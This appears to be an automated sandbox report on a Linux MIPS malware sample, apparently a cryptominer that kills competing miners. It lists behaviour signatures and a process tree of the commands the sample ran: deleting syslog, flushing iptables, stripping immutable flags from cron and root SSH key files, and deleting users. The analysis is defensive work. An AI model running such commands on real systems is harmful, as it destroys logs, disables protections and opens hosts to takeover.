b7b12dcb15e682c62eb4151041251b62a4ac86e76ac87f4af65be0818b648174

Analysis

max time kernel
150s
max time network
12s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
16-09-2024 03:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e3fb4dc382dfa4fe37498329727bea34_JaffaCakes118
Size

28KB
MD5

e3fb4dc382dfa4fe37498329727bea34
SHA1

a2aa6b00de3fb975fce1c3ab6d8e4f290df9a3fd
SHA256

b7b12dcb15e682c62eb4151041251b62a4ac86e76ac87f4af65be0818b648174
SHA512

177954ced290f48bd34fe3d0b2c3bdbc3683772cbd2256c174675cd00a4606ca2fa42b2da4f3d5fbf3c124209b8e367c287bc769378253bcce61fcc57792baaf
SSDEEP

384:p7pQQwQHDf6jlpTWg3vMGQiKMvU/4Qdre21jT58vKpG2Y0orcfKLUv0KZnNEVdeg:p7JVFNcD8FLcIwgiYq0xFB25

Score

7^/10

defense_evasion discovery privilege_escalation

Malware Config

Signatures

Flushes firewall rules 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

pid	Process
723	iptables

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
729	sudo

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1132	xargs
1143	xargs
1297	xargs
1558	xargs
748	chattr
800	xargs
872	xargs
917	xargs
1106	xargs
1349	xargs
794	xargs
943	xargs
960	xargs
1098	xargs
1578	xargs
758	grep
927	xargs
1069	xargs
1177	xargs
1490	xargs
1172	xargs
1187	xargs
1328	xargs
1356	xargs
955	xargs
1304	xargs
1598	xargs
1038	xargs
1252	xargs
1538	xargs
1603	xargs
1090	xargs
1240	xargs
1405	xargs
1410	xargs
719	chattr
860	xargs
878	xargs
1024	xargs
884	xargs
1083	xargs
1118	xargs
1449	xargs
1543	xargs
824	xargs
1203	xargs
1322	xargs
1461	xargs
750	chattr
979	xargs
1050	xargs
1484	xargs
1573	xargs
986	xargs
1192	xargs
1400	xargs
1473	xargs
1005	xargs
1548	xargs
1568	xargs
1593	xargs
848	xargs
1198	xargs
1246	xargs

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	sysctl
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/938/cmdline	ps
File opened for reading	/proc/20/status	ps
File opened for reading	/proc/229/stat	ps
File opened for reading	/proc/70/cmdline	ps
File opened for reading	/proc/74/status	ps
File opened for reading	/proc/71/status	ps
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/3/cmdline	ps
File opened for reading	/proc/468/cmdline	ps
File opened for reading	/proc/71/stat	ps
File opened for reading	/proc/24/cmdline	ps
File opened for reading	/proc/16/cmdline	ps
File opened for reading	/proc/1232/status	ps
File opened for reading	/proc/stat	ps
File opened for reading	/proc/115/cmdline	ps
File opened for reading	/proc/374/cmdline	ps
File opened for reading	/proc/15/cmdline	ps
File opened for reading	/proc/17/cmdline	ps
File opened for reading	/proc/73/status	ps
File opened for reading	/proc/383/status	ps
File opened for reading	/proc/1427/stat	ps
File opened for reading	/proc/393/stat	ps
File opened for reading	/proc/1363/stat	ps
File opened for reading	/proc/393/stat	ps
File opened for reading	/proc/712/cmdline	ps
File opened for reading	/proc/69/cmdline	ps
File opened for reading	/proc/337/stat	ps
File opened for reading	/proc/11/status	ps
File opened for reading	/proc/1093/stat	ps
File opened for reading	/proc/9/status	ps
File opened for reading	/proc/166/status	ps
File opened for reading	/proc/341/cmdline	ps
File opened for reading	/proc/1093/cmdline	ps
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/337/stat	ps
File opened for reading	/proc/374/stat	ps
File opened for reading	/proc/1478/stat	ps
File opened for reading	/proc/166/stat	ps
File opened for reading	/proc/383/stat	ps
File opened for reading	/proc/76/stat	ps
File opened for reading	/proc/37/cmdline	ps
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/229/status	ps
File opened for reading	/proc/116/stat	ps
File opened for reading	/proc/708/status	ps
File opened for reading	/proc/374/stat	ps
File opened for reading	/proc/146/status	ps
File opened for reading	/proc/82/status	ps
File opened for reading	/proc/15/cmdline	ps
File opened for reading	/proc/383/status	ps
File opened for reading	/proc/20/cmdline	ps
File opened for reading	/proc/73/stat	ps
File opened for reading	/proc/115/cmdline	ps
File opened for reading	/proc/151/stat	ps
File opened for reading	/proc/stat	ps
File opened for reading	/proc/4/status	ps
File opened for reading	/proc/344/cmdline	ps
File opened for reading	/proc/6/status	ps
File opened for reading	/proc/146/status	ps
File opened for reading	/proc/509/cmdline	ps
File opened for reading	/proc/344/status	ps
File opened for reading	/proc/15/stat	ps
File opened for reading	/proc/15/stat	ps
File opened for reading	/proc/166/stat	ps

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/log_rot	e3fb4dc382dfa4fe37498329727bea34_JaffaCakes118

/tmp/e3fb4dc382dfa4fe37498329727bea34_JaffaCakes118
/tmp/e3fb4dc382dfa4fe37498329727bea34_JaffaCakes118
1⤵
- Writes file to tmp directory
PID:708
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  PID:710
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  PID:711
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  PID:717
- /usr/bin/chattr
  chattr -R -i /var/spool/cron
  2⤵
  - Attempts to change immutable files
  PID:719
- /usr/bin/chattr
  chattr -i /etc/crontab
  2⤵
  PID:721
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:723
- /usr/bin/sudo
  sudo sysctl "kernel.nmi_watchdog=0"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:729
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:737
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1sq0yu-0000Bt-FP
      4⤵
      Reads CPU attributes
      PID:751
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:741
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1sq0yu-0000Bx-Fq
      4⤵
      PID:752
- - /sbin/sysctl
    sysctl "kernel.nmi_watchdog=0"
    3⤵
    - Reads CPU attributes
    PID:743
- /usr/sbin/userdel
  userdel akay
  2⤵
  PID:745
- /usr/sbin/userdel
  userdel vfinder
  2⤵
  PID:746
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  - Attempts to change immutable files
  PID:748
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  - Attempts to change immutable files
  PID:750
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:753
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:754
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:756
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:757
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  - Attempts to change immutable files
  PID:758
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  PID:762
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:761
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:767
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:768
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:769
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:770
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:773
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:772
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:774
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:775
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:779
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:778
- /bin/grep
  grep :443
  2⤵
  PID:777
- /bin/grep
  grep -v -
  2⤵
  PID:780
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:781
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:785
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:786
- /bin/grep
  grep :23
  2⤵
  PID:784
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:788
- /bin/grep
  grep -v -
  2⤵
  PID:787
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:792
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:791
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:794
- /bin/grep
  grep :443
  2⤵
  PID:790
- /bin/grep
  grep -v -
  2⤵
  PID:793
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:798
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:797
- /bin/grep
  grep :143
  2⤵
  PID:796
- /bin/grep
  grep -v -
  2⤵
  PID:799
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:800
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:803
- /bin/grep
  grep :2222
  2⤵
  PID:802
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:804
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:806
- /bin/grep
  grep -v -
  2⤵
  PID:805
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:810
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:809
- /bin/grep
  grep :3333
  2⤵
  PID:808
- /bin/grep
  grep -v -
  2⤵
  PID:811
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:812
- /bin/grep
  grep :3389
  2⤵
  PID:814
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:815
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:816
- /bin/grep
  grep -v -
  2⤵
  PID:817
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:818
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:821
- /bin/grep
  grep :4444
  2⤵
  PID:820
- /bin/grep
  grep -v -
  2⤵
  PID:823
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:822
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:824
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:827
- /bin/grep
  grep :5555
  2⤵
  PID:826
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:828
- /bin/grep
  grep -v -
  2⤵
  PID:829
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:830
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:833
- /bin/grep
  grep :6666
  2⤵
  PID:832
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:834
- /bin/grep
  grep -v -
  2⤵
  PID:835
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:836
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:839
- /bin/grep
  grep :6665
  2⤵
  PID:838
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:840
- /bin/grep
  grep -v -
  2⤵
  PID:841
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:842
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:846
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:845
- /bin/grep
  grep :6667
  2⤵
  PID:844
- /bin/grep
  grep -v -
  2⤵
  PID:847
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:848
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:851
- /bin/grep
  grep :7777
  2⤵
  PID:850
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:852
- /bin/grep
  grep -v -
  2⤵
  PID:853
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:854
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:857
- /bin/grep
  grep :8444
  2⤵
  PID:856
- /bin/grep
  grep -v -
  2⤵
  PID:859
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:858
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:860
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:863
- /bin/grep
  grep :3347
  2⤵
  PID:862
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:864
- /bin/grep
  grep -v -
  2⤵
  PID:865
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:866
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:869
- /bin/grep
  grep :14444
  2⤵
  PID:868
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:870
- /bin/grep
  grep -v -
  2⤵
  PID:871
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:872
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:876
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:875
- /bin/grep
  grep :14433
  2⤵
  PID:874
- /bin/grep
  grep -v -
  2⤵
  PID:877
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:878
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:882
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:881
- /bin/grep
  grep :13531
  2⤵
  PID:880
- /bin/grep
  grep -v -
  2⤵
  PID:883
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:884
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:888
- /bin/grep
  grep -v grep
  2⤵
  PID:887
- /bin/grep
  grep "sleep 60"
  2⤵
  PID:886
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:889
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:885
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:896
- /bin/grep
  grep -v grep
  2⤵
  PID:895
- /bin/grep
  grep ./crun
  2⤵
  PID:894
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:897
- /bin/ps
  ps aux
  2⤵
  PID:893
- /bin/grep
  grep -v grep
  2⤵
  PID:900
- /bin/grep
  grep -vw kdevtmpfsi
  2⤵
  PID:899
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:902
- /bin/ps
  ps aux
  2⤵
  PID:898
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:901
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:906
- /bin/grep
  grep :3333
  2⤵
  PID:905
- /bin/grep
  grep -v grep
  2⤵
  PID:904
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:907
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:903
- /bin/grep
  grep :5555
  2⤵
  PID:910
- /bin/grep
  grep -v grep
  2⤵
  PID:909
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:908
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:911
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:912
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:916
- /bin/grep
  grep "kworker -c\\"
  2⤵
  PID:915
- /bin/grep
  grep -v grep
  2⤵
  PID:914
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:913
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:917
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:921
- /bin/grep
  grep log_
  2⤵
  PID:920
- /bin/grep
  grep -v grep
  2⤵
  PID:919
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:922
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:918
- /bin/grep
  grep systemten
  2⤵
  PID:925
- /bin/grep
  grep -v grep
  2⤵
  PID:924
- /bin/ps
  ps aux
  2⤵
  PID:923
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:927
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:926
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:931
- /bin/grep
  grep netns
  2⤵
  PID:930
- /bin/grep
  grep -v grep
  2⤵
  PID:929
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:932
- - /usr/local/sbin/kill
    kill -9 10
    3⤵
    PID:933
- - /usr/local/bin/kill
    kill -9 10
    3⤵
    PID:933
- - /usr/sbin/kill
    kill -9 10
    3⤵
    PID:933
- - /usr/bin/kill
    kill -9 10
    3⤵
    PID:933
- - /sbin/kill
    kill -9 10
    3⤵
    PID:933
- - /bin/kill
    kill -9 10
    3⤵
    - Reads CPU attributes
    PID:933
- /bin/ps
  ps aux
  2⤵
  PID:928
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:937
- /bin/grep
  grep voltuned
  2⤵
  PID:936
- /bin/grep
  grep -v grep
  2⤵
  PID:935
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:938
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:934
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:942
- /bin/grep
  grep darwin
  2⤵
  PID:941
- /bin/grep
  grep -v grep
  2⤵
  PID:940
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:943
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:939
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:947
- /bin/grep
  grep /tmp/dl
  2⤵
  PID:946
- /bin/grep
  grep -v grep
  2⤵
  PID:945
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:948
- /bin/ps
  ps aux
  2⤵
  PID:944
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:954
- /bin/grep
  grep /tmp/ddg
  2⤵
  PID:953
- /bin/grep
  grep -v grep
  2⤵
  PID:952
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:955
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:951
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:959
- /bin/grep
  grep /tmp/pprt
  2⤵
  PID:958
- /bin/grep
  grep -v grep
  2⤵
  PID:957
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:960
- /bin/ps
  ps aux
  2⤵
  PID:956
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:966
- /bin/grep
  grep /tmp/ppol
  2⤵
  PID:965
- /bin/grep
  grep -v grep
  2⤵
  PID:964
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:967
- /bin/ps
  ps aux
  2⤵
  PID:963
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:972
- /bin/grep
  grep "/tmp/65ccE*"
  2⤵
  PID:971
- /bin/grep
  grep -v grep
  2⤵
  PID:970
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:973
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:969
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:978
- /bin/grep
  grep "/tmp/jmx*"
  2⤵
  PID:977
- /bin/grep
  grep -v grep
  2⤵
  PID:976
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:979
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:975
- /bin/grep
  grep "/tmp/2Ne80*"
  2⤵
  PID:984
- /bin/grep
  grep -v grep
  2⤵
  PID:983
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:982
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:985
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:986
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:992
- /bin/grep
  grep IOFoqIgyC0zmf2UR
  2⤵
  PID:991
- /bin/grep
  grep -v grep
  2⤵
  PID:990
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:993
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:989
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:997
- /bin/grep
  grep 45.76.122.92
  2⤵
  PID:996
- /bin/grep
  grep -v grep
  2⤵
  PID:995
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:998
- /bin/ps
  ps aux
  2⤵
  PID:994
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1004
- /bin/grep
  grep 51.38.191.178
  2⤵
  PID:1003
- /bin/grep
  grep -v grep
  2⤵
  PID:1002
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1005
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1001
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1012
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1011
- /bin/grep
  grep 51.15.56.161
  2⤵
  PID:1010
- /bin/grep
  grep -v grep
  2⤵
  PID:1009
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1008
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1017
- /bin/grep
  grep 86s.jpg
  2⤵
  PID:1016
- /bin/grep
  grep -v grep
  2⤵
  PID:1015
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1018
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1014
- /bin/grep
  grep aGTSGJJp
  2⤵
  PID:1022
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1023
- /bin/grep
  grep -v grep
  2⤵
  PID:1021
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1024
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1020
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1030
- /bin/grep
  grep nMrfmnRa
  2⤵
  PID:1029
- /bin/grep
  grep -v grep
  2⤵
  PID:1028
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1031
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1027
- /bin/grep
  grep -v grep
  2⤵
  PID:1034
- /bin/ps
  ps aux
  2⤵
  PID:1033
- /bin/grep
  grep PuNY5tm2
  2⤵
  PID:1036
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1038
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1037
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1042
- /bin/grep
  grep I0r8Jyyt
  2⤵
  PID:1041
- /bin/grep
  grep -v grep
  2⤵
  PID:1040
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1043
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1039
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1049
- /bin/grep
  grep AgdgACUD
  2⤵
  PID:1048
- /bin/grep
  grep -v grep
  2⤵
  PID:1047
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1050
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1046
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1056
- /bin/grep
  grep uiZvwxG8
  2⤵
  PID:1055
- /bin/grep
  grep -v grep
  2⤵
  PID:1054
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1057
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1053
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1062
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:1061
- /bin/grep
  grep -v grep
  2⤵
  PID:1060
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1063
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1059
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1068
- /bin/grep
  grep BtwXn5qH
  2⤵
  PID:1067
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1069
- /bin/grep
  grep -v grep
  2⤵
  PID:1066
- /bin/ps
  ps aux
  2⤵
  PID:1065
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1075
- /bin/grep
  grep 3XEzey2T
  2⤵
  PID:1074
- /bin/grep
  grep -v grep
  2⤵
  PID:1073
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1076
- /bin/ps
  ps aux
  2⤵
  PID:1072
- /bin/grep
  grep t2tKrCSZ
  2⤵
  PID:1081
- /bin/grep
  grep -v grep
  2⤵
  PID:1080
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1082
- /bin/ps
  ps aux
  2⤵
